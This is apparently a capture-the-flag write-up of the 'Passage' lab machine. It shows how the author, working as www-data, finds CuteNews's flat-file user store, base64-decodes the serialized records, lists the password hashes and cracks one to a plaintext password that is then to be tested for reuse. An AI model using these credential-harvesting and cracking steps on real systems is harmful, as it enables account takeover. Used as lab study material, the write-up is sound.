No DB
While checking for DB data after gaining a foothold via exploiting a web application, I found something interesting about CuteNews
one of the key sales points that cutenews promotes is its feature to not having to rely on a SQL based DB unlike a traditional CMS would.
While that may be a good feature for some, it makes me wonder how the app would store user data
www-data@passage:/var/www/html/CuteNews/core$ ll
total 232K
4.0K drwxrwxr-x 9 www-data www-data 4.0K Jun 18 2020 .
8.0K -rwxrwxr-x 1 www-data www-data 7.0K Jun 18 2020 downloader.php
4.0K drwxrwxr-x 9 www-data www-data 4.0K Jun 18 2020 ..
4.0K drwxrwxr-x 2 www-data www-data 4.0K Jun 18 2020 db
124K -rwxrwxr-x 1 www-data www-data 123K Jun 18 2020 core.php
4.0K -rwx--x--x 1 www-data www-data 2.2K Apr 29 2019 init.phpMembdfd
4.0K drwxrwxr-x 3 www-data www-data 4.0K Aug 20 2018 captcha
4.0K drwxrwxr-x 6 www-data www-data 4.0K Aug 20 2018 ckeditor
4.0K drwxrwxr-x 2 www-data www-data 4.0K Aug 20 2018 includes
4.0K drwxrwxr-x 2 www-data www-data 4.0K Aug 20 2018 lang
4.0K drwxrwxr-x 3 www-data www-data 4.0K Aug 20 2018 modules
28K -rwxrwxr-x 1 www-data www-data 28K Aug 20 2018 news.php
16K -rwxrwxr-x 1 www-data www-data 13K Aug 20 2018 security.php
4.0K drwxrwxr-x 2 www-data www-data 4.0K Aug 20 2018 tools
4.0K -rwxrwxr-x 1 www-data www-data 2.8K Aug 20 2018 update_indexes_tool.php
12K -rwxrwxr-x 1 www-data www-data 11K Aug 20 2018 zip.class.php
www-data@passage:/var/www/html/CuteNews/core$ ll db
total 48K
4.0K drwxrwxr-x 9 www-data www-data 4.0K Jun 18 2020 ..
4.0K drwxrwxr-x 2 www-data www-data 4.0K Jun 18 2020 .
40K -rwxrwxr-x 1 www-data www-data 40K Aug 20 2018 coreflat.php
Interestingly, there is a directory named, /db/
, which contains a single PHP file; coreflat.php
www-data@passage:/var/www/html/CuteNews/core/db$ cat coreflat.php
<?php if (!defined('EXEC_TIME')) { die('Access restricted'); }
[...REDACTED...]
// since 2.0: Check users exists. If no, require install script
function db_installed_check()
{
$is_dir = SERVDIR.DIRECTORY_SEPARATOR.'cdata';
$cfile = false;
if (is_dir($is_dir) && is_writable($is_dir)) {
$cfile = cn_touch(SERVDIR. path_construct('cdata', 'users.txt'));
}
if (empty($cfile) || filesize($cfile) < 4) {
cn_require_install();
}
return TRUE;
}
[...REDACTED...]
Upon inspection, I noticed that a lot of functions feature the following arguments as a serving directory and file
- cdata
- users.txt
cdata?
www-data@passage:/var/www/html/CuteNews/cdata$ ll ll
total 112K
4.0K drwxrwxrwx 2 www-data www-data 4.0K Mar 17 06:39 users
4.0K drwxrwxrwx 11 www-data www-data 4.0K Mar 17 06:39 .
4.0K -rw-r--r-- 1 www-data www-data 72 Mar 17 06:39 users.txt
4.0K drwxrwxrwx 2 www-data www-data 4.0K Mar 17 06:14 news
4.0K drwxrwxrwx 2 www-data www-data 4.0K Aug 31 2020 btree
4.0K drwxrwxrwx 2 www-data www-data 4.0K Jun 18 2020 backup
36K -rwxr-xr-x 1 www-data www-data 33K Jun 18 2020 conf.php
4.0K -rw-r--r-- 1 www-data www-data 26 Jun 18 2020 flood.txt
4.0K drwxrwxrwx 2 www-data www-data 4.0K Jun 18 2020 log
4.0K drwxrwxrwx 2 www-data www-data 4.0K Jun 18 2020 plugins
4.0K drwxrwxr-x 9 www-data www-data 4.0K Jun 18 2020 ..
4.0K -rw-rw-rw- 1 www-data www-data 2.1K Aug 20 2018 Default.tpl
4.0K -rw-rw-rw- 1 www-data www-data 1.7K Aug 20 2018 Headlines.tpl
4.0K drwxrwxrwx 2 www-data www-data 4.0K Aug 20 2018 archives
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 auto_archive.db.php
4.0K drwxrwxrwx 2 www-data www-data 4.0K Aug 20 2018 cache
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 cat.num.php
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 category.db.php
0 -rw-rw-rw- 1 www-data www-data 0 Aug 20 2018 comments.txt
4.0K -rwxrwxrwx 1 www-data www-data 1.7K Aug 20 2018 config.php
4.0K -rwxrwxrwx 1 www-data www-data 15 Aug 20 2018 confirmations.php
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 csrf.php
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 flood.db.php
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 idnews.db.php
0 -rw-rw-rw- 1 www-data www-data 0 Aug 20 2018 installed.mark
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 ipban.db.php
0 -rw-rw-rw- 1 www-data www-data 0 Aug 20 2018 news.txt
0 -rw-rw-rw- 1 www-data www-data 0 Aug 20 2018 newsid.txt
0 -rw-rw-rw- 1 www-data www-data 0 Aug 20 2018 postponed_news.txt
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 replaces.php
4.0K -rw-rw-rw- 1 www-data www-data 564 Aug 20 2018 rss.tpl
0 -rwxrwxrwx 1 www-data www-data 0 Aug 20 2018 rss_config.php
4.0K drwxrwxrwx 2 www-data www-data 4.0K Aug 20 2018 template
0 -rw-rw-rw- 1 www-data www-data 0 Aug 20 2018 unapproved_news.txt
4.0K -rwxrwxrwx 1 www-data www-data 58 Aug 20 2018 users.db.php
www-data@passage:/var/www/html/CuteNews/cdata$ cat users.txt
qc4fs7:1
qc4fxg:2
qc4fyp:3
qc4fzh:3
qfwgzt:4
qfy7jk:4
rro2r6:4
rro39k:4
While the users.txt
file contains the users created by the exploit earlier, I see another sub-directory within the cdata
directory; users
Serialized User Data
www-data@passage:/var/www/html/CuteNews/cdata/users$ ll
total 112K
4.0k drwxrwxrwx 2 www-data www-data 4.0k mar 17 06:39 .
4.0k -rw-r--r-- 1 www-data www-data 609 mar 17 06:39 65.php
4.0k drwxrwxrwx 11 www-data www-data 4.0k mar 17 06:39 ..
4.0k -rw-r--r-- 1 www-data www-data 117 mar 17 06:39 3f.php
4.0k -rw-r--r-- 1 www-data www-data 137 mar 17 06:39 89.php
4.0k -rw-r--r-- 1 www-data www-data 129 mar 17 06:28 58.php
4.0k -rw-r--r-- 1 www-data www-data 109 mar 17 06:28 e7.php
4.0k -rw-r--r-- 1 www-data www-data 385 mar 17 06:28 f5.php
4.0k -rw-r--r-- 1 www-data www-data 449 mar 17 06:17 21.php
4.0K -rw-r--r-- 1 www-data www-data 1.2K Aug 31 2020 d6.php
4.0K -rw-r--r-- 1 www-data www-data 109 Aug 31 2020 32.php
4.0K -rw-r--r-- 1 www-data www-data 133 Aug 31 2020 6e.php
4.0K -rw-r--r-- 1 www-data www-data 3.8K Aug 30 2020 lines
4.0K -rw-r--r-- 1 www-data www-data 125 Aug 30 2020 16.php
4.0K -rw-r--r-- 1 www-data www-data 109 Aug 30 2020 0a.php
4.0K -rwxr-xr-x 1 www-data www-data 481 Jun 18 2020 c8.php
4.0K -rwxr-xr-x 1 www-data www-data 45 Jun 18 2020 d5.php
4.0K -rwxr-xr-x 1 www-data www-data 481 Jun 18 2020 7a.php
4.0K -rwxr-xr-x 1 www-data www-data 489 Jun 18 2020 b0.php
4.0K -rwxr-xr-x 1 www-data www-data 129 Jun 18 2020 66.php
4.0K -rwxr-xr-x 1 www-data www-data 113 Jun 18 2020 fc.php
4.0K -rwxr-xr-x 1 www-data www-data 113 Jun 18 2020 52.php
4.0K -rwxr-xr-x 1 www-data www-data 129 Jun 18 2020 97.php
4.0K -rwxr-xr-x 1 www-data www-data 133 Jun 18 2020 09.php
4.0K -rwxr-xr-x 1 www-data www-data 117 Jun 18 2020 77.php
4.0K -rwxr-xr-x 1 www-data www-data 45 Jun 18 2020 d4.php
4.0K -rwxr-xr-x 1 www-data www-data 129 Jun 18 2020 5d.php
4.0K -rwxr-xr-x 1 www-data www-data 109 Jun 18 2020 8f.php
0 -rw-r--r-- 1 www-data www-data 0 Jun 18 2020 users.txt
www-data@passage:/var/www/html/CuteNews/cdata/users$ cat 21.php
<?php die('Direct call - access denied'); ?>
YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxMDoiMTY3OTA1OTAyNSI7czozOiJjbnQiO3M6MToiMiI7fX19
ww-data@passage:/var/www/html/CuteNews/cdata/users$ cat fc.php
<?php die('Direct call - access denied'); ?>
YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0=
Heading into the cdata/users
directory, I see many PHP files containing what appears to be serialized user data in the base64 format
This just might be how CuteNews stores user data
Decoding
www-data@passage:/var/www/html/CuteNews/cdata/users$ echo YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxMDoiMTY3OTA1OTAyNSI7czozOiJjbnQiO3M6MToiMiI7fX19 | base64 -d
a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:10:"1679059025";s:3:"cnt";s:1:"2";}}}
So I got one of the files decoded from base64 The result indeed confirms that those PHP files are user data
I will go ahead and decode all the serialized user data
Deserialization
www-data@passage:/var/www/html/CuteNews/cdata/users$ cat * | cut -d '>' -f2 | base64 -d
a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}
While all the deserialized data appear very much confusing, I will list those password hashes;
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
The users areadmin
,paul
,kim
,nadav
, andegre55
I don’t necessarily need to know which password hash is corresponding to which user because I would need to crack those hash strings first. Then I can run password spraying to find out the owner of the password
Password Cracking
Crackstation.net was able to crack 2 hash strings
atlanta1
and egre55
While egre55
belongs to the egre55
user, the user isn’t a system user. So it is likely a false positive for that account
atlanta1
came from the hash string, e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
, which belongs to the paul
user.
I should test for password reuse